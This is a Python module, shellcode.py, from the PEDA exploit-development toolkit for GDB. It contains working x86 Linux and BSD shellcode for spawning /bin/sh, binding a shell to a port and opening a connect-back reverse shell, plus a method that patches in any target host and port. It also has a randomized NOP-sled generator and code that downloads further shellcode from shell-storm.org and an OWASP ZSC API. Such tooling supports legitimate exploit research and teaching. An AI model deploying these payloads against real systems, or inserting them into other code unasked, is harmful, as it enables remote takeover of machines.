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shellcode.py
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#
# PEDA - Python Exploit Development Assistance for GDB
#
# Copyright (C) 2012 Long Le Dinh <longld at vnsecurity.net>
#
# License: see LICENSE file for details
#
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import random
import socket
import struct
import traceback
import six.moves.http_client
from six.moves import range
import sys
import config
from utils import msg, error_msg
if sys.version_info.major is 3:
from urllib.request import urlopen
from urllib.parse import urlencode
pyversion = 3
else:
from urllib import urlopen
from urllib import urlencode
pyversion = 2
def _make_values_bytes(dict_):
"""Make shellcode in dictionaries bytes"""
return {k: six.b(v) for k, v in dict_.items()}
shellcode_x86_linux = _make_values_bytes({
"exec": (
"\x31\xc0" # 0x00000000: xor eax,eax
"\x50" # 0x00000002: push eax
"\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x0000000D: mov ebx,esp
"\x31\xc9" # 0x0000000F: xor ecx,ecx
"\x89\xca" # 0x00000011: mov edx,ecx
"\x6a\x0b" # 0x00000013: push byte +0xb
"\x58" # 0x00000015: pop eax
"\xcd\x80" # 0x00000016: int 0x80 ; execve()
),
"bindport": (
"\x31\xdb" # 0x00000000: xor ebx,ebx
"\x53" # 0x00000002: push ebx
"\x43" # 0x00000003: inc ebx
"\x53" # 0x00000004: push ebx
"\x6a\x02" # 0x00000005: push byte +0x2
"\x6a\x66" # 0x00000007: push byte +0x66
"\x58" # 0x00000009: pop eax
"\x99" # 0x0000000A: cdq
"\x89\xe1" # 0x0000000B: mov ecx,esp
"\xcd\x80" # 0x0000000D: int 0x80 ; socket()
"\x96" # 0x0000000F: xchg eax,esi
"\x43" # 0x00000010: inc ebx
"\x52" # 0x00000011: push edx
"\x66\x68\x41\x42" # 0x00000012: push word 0x4241 ; port = 0x4142
"\x66\x53" # 0x00000016: push bx
"\x89\xe1" # 0x00000018: mov ecx,esp
"\x6a\x66" # 0x0000001A: push byte +0x66
"\x58" # 0x0000001C: pop eax
"\x50" # 0x0000001D: push eax
"\x51" # 0x0000001E: push ecx
"\x56" # 0x0000001F: push esi
"\x89\xe1" # 0x00000020: mov ecx,esp
"\xcd\x80" # 0x00000022: int 0x80 ; bind()
"\xb0\x66" # 0x00000024: mov al,0x66
"\xd1\xe3" # 0x00000026: shl ebx,1
"\xcd\x80" # 0x00000028: int 0x80 ; listen()
"\x52" # 0x0000002A: push edx
"\x52" # 0x0000002B: push edx
"\x56" # 0x0000002C: push esi
"\x43" # 0x0000002D: inc ebx
"\x89\xe1" # 0x0000002E: mov ecx,esp
"\xb0\x66" # 0x00000030: mov al,0x66
"\xcd\x80" # 0x00000032: int 0x80 ; accept()
"\x93" # 0x00000034: xchg eax,ebx
"\x6a\x02" # 0x00000035: push byte +0x2
"\x59" # 0x00000037: pop ecx
"\xb0\x3f" # 0x00000038: mov al,0x3f
"\xcd\x80" # 0x0000003A: int 0x80 ; dup2()
"\x49" # 0x0000003C: dec ecx
"\x79\xf9" # 0x0000003D: jns 0x38
"\xb0\x0b" # 0x0000003F: mov al,0xb
"\x52" # 0x00000041: push edx
"\x68\x2f\x2f\x73\x68" # 0x00000042: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000047: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x0000004C: mov ebx,esp
"\x52" # 0x0000004E: push edx
"\x53" # 0x0000004F: push ebx
"\x89\xe1" # 0x00000050: mov ecx,esp
"\xcd\x80" # 0x00000052: int 0x80 ; execve()
),
"connect": (
"\x31\xdb" # 0x00000000: xor ebx,ebx
"\x53" # 0x00000002: push ebx
"\x43" # 0x00000003: inc ebx
"\x53" # 0x00000004: push ebx
"\x6a\x02" # 0x00000005: push byte +0x2
"\x6a\x66" # 0x00000007: push byte +0x66
"\x58" # 0x00000009: pop eax
"\x89\xe1" # 0x0000000A: mov ecx,esp
"\xcd\x80" # 0x0000000C: int 0x80 ; socket()
"\x93" # 0x0000000E: xchg eax,ebx
"\x59" # 0x0000000F: pop ecx
"\xb0\x3f" # 0x00000010: mov al,0x3f
"\xcd\x80" # 0x00000012: int 0x80 ; dup2()
"\x49" # 0x00000014: dec ecx
"\x79\xf9" # 0x00000015: jns 0x10
"\x5b" # 0x00000017: pop ebx
"\x5a" # 0x00000018: pop edx
"\x68\x7f\x7f\x7f\x7f" # 0x00000019: push dword 0x7f7f7f7f ; address = 127.127.127.127
"\x66\x68\x41\x42" # 0x0000001E: push word 0x4241 ; port = 0x4142
"\x43" # 0x00000022: inc ebx
"\x66\x53" # 0x00000023: push bx
"\x89\xe1" # 0x00000025: mov ecx,esp
"\xb0\x66" # 0x00000027: mov al,0x66
"\x50" # 0x00000029: push eax
"\x51" # 0x0000002A: push ecx
"\x53" # 0x0000002B: push ebx
"\x89\xe1" # 0x0000002C: mov ecx,esp
"\x43" # 0x0000002E: inc ebx
"\xcd\x80" # 0x0000002F: int 0x80 ; connect()
"\x52" # 0x00000031: push edx
"\x68\x2f\x2f\x73\x68" # 0x00000032: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000037: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x0000003C: mov ebx,esp
"\x52" # 0x0000003E: push edx
"\x53" # 0x0000003F: push ebx
"\x89\xe1" # 0x00000040: mov ecx,esp
"\xb0\x0b" # 0x00000042: mov al,0xb
"\xcd\x80" # 0x00000044: int 0x80 ; execve()
)
})
shellcode_x86_bsd = _make_values_bytes({
"exec": (
"\x31\xc0" # 0x00000000: xor eax,eax
"\x50" # 0x00000002: push eax
"\x68\x2f\x2f\x73\x68" # 0x00000003: push dword 0x68732f2f; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000008: push dword 0x6e69622f; /bin
"\x89\xe3" # 0x0000000D: mov ebx,esp
"\x50" # 0x0000000F: push eax
"\x50" # 0x00000010: push eax
"\x53" # 0x00000011: push ebx
"\x50" # 0x00000012: push eax
"\x6a\x3b" # 0x00000013: push byte +0x3b
"\x58" # 0x00000015: pop eax
"\xcd\x80" # 0x00000016: int 0x80 ; execve()
),
"bindport": (
"\x31\xc0" # 0x00000000: xor eax,eax
"\x50" # 0x00000002: push eax
"\x68\xff\x02\x41\x42" # 0x00000003: push dword 0x424102ff ; port = x04142
"\x89\xe7" # 0x00000008: mov edi,esp
"\x50" # 0x0000000A: push eax
"\x6a\x01" # 0x0000000B: push byte +0x1
"\x6a\x02" # 0x0000000D: push byte +0x2
"\x6a\x10" # 0x0000000F: push byte +0x10
"\xb0\x61" # 0x00000011: mov al,0x61
"\xcd\x80" # 0x00000013: int 0x80 ; socket()
"\x57" # 0x00000015: push edi
"\x50" # 0x00000016: push eax
"\x50" # 0x00000017: push eax
"\x6a\x68" # 0x00000018: push byte +0x68
"\x58" # 0x0000001A: pop eax
"\xcd\x80" # 0x0000001B: int 0x80 ; bind()
"\x89\x47\xec" # 0x0000001D: mov [edi-0x14],eax
"\xb0\x6a" # 0x00000020: mov al,0x6a
"\xcd\x80" # 0x00000022: int 0x80 ; listen()
"\xb0\x1e" # 0x00000024: mov al,0x1e
"\xcd\x80" # 0x00000026: int 0x80 ; accept()
"\x50" # 0x00000028: push eax
"\x50" # 0x00000029: push eax
"\x6a\x5a" # 0x0000002A: push byte +0x5a
"\x58" # 0x0000002C: pop eax
"\xcd\x80" # 0x0000002D: int 0x80 ; dup2()
"\xff\x4f\xe4" # 0x0000002F: dec dword [edi-0x1c]
"\x79\xf6" # 0x00000032: jns 0x2a
"\x50" # 0x00000034: push eax
"\x68\x2f\x2f\x73\x68" # 0x00000035: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x0000003A: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x0000003F: mov ebx,esp
"\x50" # 0x00000041: push eax
"\x54" # 0x00000042: push esp
"\x53" # 0x00000043: push ebx
"\x50" # 0x00000044: push eax
"\xb0\x3b" # 0x00000045: mov al,0x3b
"\xcd\x80" # 0x00000047: int 0x80 ; execve()
),
"connect": (
"\x68\x7f\x7f\x7f\x7f" # 0x00000000: push dword 0x7f7f7f7f ; address = 127.127.127.127
"\x68\xff\x02\x41\x42" # 0x00000005: push dword 0x424102ff ; port = 0x4142
"\x89\xe7" # 0x0000000A: mov edi,esp
"\x31\xc0" # 0x0000000C: xor eax,eax
"\x50" # 0x0000000E: push eax
"\x6a\x01" # 0x0000000F: push byte +0x1
"\x6a\x02" # 0x00000011: push byte +0x2
"\x6a\x10" # 0x00000013: push byte +0x10
"\xb0\x61" # 0x00000015: mov al,0x61
"\xcd\x80" # 0x00000017: int 0x80 ; socket()
"\x57" # 0x00000019: push edi
"\x50" # 0x0000001A: push eax
"\x50" # 0x0000001B: push eax
"\x6a\x62" # 0x0000001C: push byte +0x62
"\x58" # 0x0000001E: pop eax
"\xcd\x80" # 0x0000001F: int 0x80 ; connect()
"\x50" # 0x00000021: push eax
"\x6a\x5a" # 0x00000022: push byte +0x5a
"\x58" # 0x00000024: pop eax
"\xcd\x80" # 0x00000025: int 0x80 ; dup2()
"\xff\x4f\xe8" # 0x00000027: dec dword [edi-0x18]
"\x79\xf6" # 0x0000002A: jns 0x22
"\x68\x2f\x2f\x73\x68" # 0x0000002C: push dword 0x68732f2f ; //sh
"\x68\x2f\x62\x69\x6e" # 0x00000031: push dword 0x6e69622f ; /bin
"\x89\xe3" # 0x00000036: mov ebx,esp
"\x50" # 0x00000038: push eax
"\x54" # 0x00000039: push esp
"\x53" # 0x0000003A: push ebx
"\x50" # 0x0000003B: push eax
"\xb0\x3b" # 0x0000003C: mov al,0x3b
"\xcd\x80" # 0x0000003E: int 0x80 ; execve()
)
})
shellcode_x86 = {"linux": shellcode_x86_linux, "bsd": shellcode_x86_bsd}
SHELLCODES = {"x86": shellcode_x86}
class Shellcode():
"""
Simple wrapper for pre-defined shellcodes generation
For complete and advanced shellcodes, Metasploit is recommended
"""
def __init__(self, arch="x86", platform="linux"):
if arch in SHELLCODES and platform in SHELLCODES[arch]:
self.shellcodes = SHELLCODES[arch][platform].copy()
else:
self.shellcodes = None
@staticmethod
def gennop(size, NOPS=None):
"""
genNOP is used to create an arbitrary length NOP sled using characters of your choosing.
Perhaps you prefer \x90, perhaps you like the defaults. Given a list of NOP characters,
genNOP will randomize and spit out something not easily recognized by the average human/rev engineer.
Still, while you are working a vulnerability, you may prefer to specify one byte such as "A" or
"\x90" as they are easily identified while searching memory.
Defaults:
# inc eax @ \x40
# inc ecx A \x41
# inc edx B \x42
# inc ebx C \x43
# inc esp D \x44
# inc ebp E \x45
# inc esi F \x46
# inc edi G \x47
# dec eax H \x48
# dec esx J \x4a
# daa ' \x27
# das / \x2f
# nop \x90
# xor eax,eax \x33\xc0
source: atlasutils
"""
DEFAULT_NOPS = "ABCFGHKIJ@'"
if (not NOPS):
NOPS = DEFAULT_NOPS
sled = ""
for i in range(size,0,-1):
N = random.randint(0,len(NOPS)-1)
sled += NOPS[N]
return sled
def shellcode(self, sctype, port=None, host=None):
if not self.shellcodes or sctype not in self.shellcodes:
return None
if port is None:
port=16706
if host is None:
host='127.127.127.127'
shellcode = self.shellcodes[sctype]
try:
port = struct.pack(">H", port)
addr = socket.inet_aton(host)
shellcode = shellcode.replace(b"\x66\x68\x41\x42", b"\x66\x68" + port)
shellcode = shellcode.replace(b"\x68\xff\x02\x41\x42", b"\x68\xff\x02" + port)
shellcode = shellcode.replace(b"\x68\x7f\x7f\x7f\x7f", b"\x68" + addr)
return shellcode
except Exception as e:
if config.Option.get("debug") == "on":
msg("Exception: %s" %e)
traceback.print_exc()
return None
""" search() and display() use the shell-storm API """
def search(self, keyword):
if keyword is None:
return None
try:
msg("Connecting to shell-storm.org...")
s = six.moves.http_client.HTTPConnection("shell-storm.org")
s.request("GET", "/api/?s="+str(keyword))
res = s.getresponse()
read_result = res.read().decode('utf-8')
data_l = [x for x in read_result.split('\n') if x] # remove empty results
except Exception as e:
if config.Option.get("debug") == "on":
msg("Exception: %s" %e)
traceback.print_exc()
error_msg("Cannot connect to shell-storm.org")
return None
data_dl = []
for data in data_l:
try:
desc = data.split("::::")
dico = {
'ScAuthor': desc[0],
'ScArch': desc[1],
'ScTitle': desc[2],
'ScId': desc[3],
'ScUrl': desc[4]
}
data_dl.append(dico)
except Exception as e:
if config.Option.get("debug") == "on":
msg("Exception: %s" %e)
traceback.print_exc()
return data_dl
def display(self, shellcodeId):
if shellcodeId is None:
return None
try:
msg("Connecting to shell-storm.org...")
s = six.moves.http_client.HTTPConnection("shell-storm.org")
except:
error_msg("Cannot connect to shell-storm.org")
return None
try:
s.request("GET", "/shellcode/files/shellcode-"+str(shellcodeId)+".php")
res = s.getresponse()
data = res.read().decode('utf-8').split("<pre>")[1].split("<body>")[0]
except:
error_msg("Failed to download shellcode from shell-storm.org")
return None
data = data.replace(""", "\"")
data = data.replace("&", "&")
data = data.replace("<", "<")
data = data.replace(">", ">")
return data
#OWASP ZSC API Z3r0D4y.Com
def zsc(self,os,job,encode):
try:
msg('Connection to OWASP ZSC API api.z3r0d4y.com')
params = urlencode({
'api_name': 'zsc',
'os': os,
'job': job,
'encode': encode})
shellcode = urlopen("http://api.z3r0d4y.com/index.py?%s\n"%(str(params))).read()
if pyversion is 3:
shellcode = str(shellcode,encoding='ascii')
return '\n"'+shellcode.replace('\n','')+'"\n'
except:
error_msg("Error while connecting to api.z3r0d4y.com ...")
return None